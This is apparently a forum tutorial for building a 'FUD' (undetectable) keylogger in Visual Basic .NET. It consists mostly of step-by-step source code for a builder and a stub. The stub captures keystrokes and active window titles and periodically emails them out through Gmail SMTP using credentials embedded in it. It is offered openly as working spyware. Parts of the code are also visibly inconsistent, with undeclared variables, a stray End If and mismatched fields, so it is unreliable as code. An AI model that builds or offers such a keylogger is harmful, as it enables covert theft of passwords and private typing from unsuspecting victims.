Make Own FUD Keylogger in Visual Basic
Hello
everyone. This is my new tutorial about making an keylogger in Visual
Basic .NET, also called VB8. Before we start I'm going to explane you
something more about Visual Basic. The Visual Basic is programming
language created by Microsoft Corporation. Its most popular programming
language in the world, its easy and good. For you just started with
Visual Basic, this will be great tutorial to learn a bit more about it.
Also if you are reading this tutorial, please dont just copy/paste ..
the best way to learn is to read and study source. Even if its advance
and hard to understand, you will find way to understand it .. like me.
OK, now i will explane you something about programming languages and
how the computers understand them. A Computer cannot understand any
persons spoken language. A spoken language such as English is simply
too general and ambiguous for computers to understand. We must adapt to
the machine and learn the computer language so that the computer can
understand. This is where visual basic comes into it - when you type
visual basic source code into the computer, the computer processes
these statements into Visual Basic language.
1. STEP
Download Visual Basic Express Edition 2008 for free if you didnt already.
2. STEP
- Run Visual Basic
- In Tab click File > New Project
- Windows Application > "Keylogger Builder" > Click Ok
3. STEP
Change the following from the Properties of Form1:
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder
Explanation:
From the Toolbox add:
- TextBox1 - The GMail Username textbox
- Textbox2 - The Gmail Password textbox
- Button1 - The Build button, Change text to: Build
- Label1 - Change text to: Gmail Username
- Label2 - Change text to: Gmail Password
Explanation:
4. STEP
Now when you add all these, on top of code add:
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"
Now when you done with that, just simply double click Button1 and add:
Code:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server") Then
My.Computer.FileSystem.DeleteFile("Server")
End If
FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)
Now you got your builder and now lets move to Stub.
5. STEP
- Run Visual Basic
- In Tab click File > New Project
- Windows Application > "Stub" > Click Ok
6. STEP
Change the following from the Properties of Form1:
FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized
Explanation:
From the Toolbox add:
- Textbox1 - Gmail Username
- Textbox2 - Gmail Password
- Textbox3 - Key Logger
- Timer1 - Upload Interval
- Timer2 - Get name of window where keylogger get
keys(userful) - Timer3 - Get Keys
Explanation:
Timer1 Interval = 900000
Timer2 Interval = 100
Timer3 Interval = 100
7. STEP
Now when you add all these, on top of code add:
Code:
Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const FileSplit = "@keylogger@"
Now double click Timer1 and write following code:
Code:
Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(Textbox1.text)
MailSetup.From = New MailAddress(Textbox1.text)
MailSetup.Body = TextBox3.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(Textbox1.Text, Textbox2.Text)
SMTP.Send(MailSetup)
TextBox3.Clear()
Now double click Timer2 to get names of active windows:
Code:
If strin <> GetActiveWindowTitle() Then
TextBox3.Text = TextBox3.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If
Now double click Form1 and write following code:
Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
End If
Timer1.Start()
Timer2.Start()
Now double click Timer3 and past code:
Code:
For log = 1 To 255
result = 0
result = GetAsyncKeyState(log)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(log)
End If
Next log
8. STEP
You are done!
|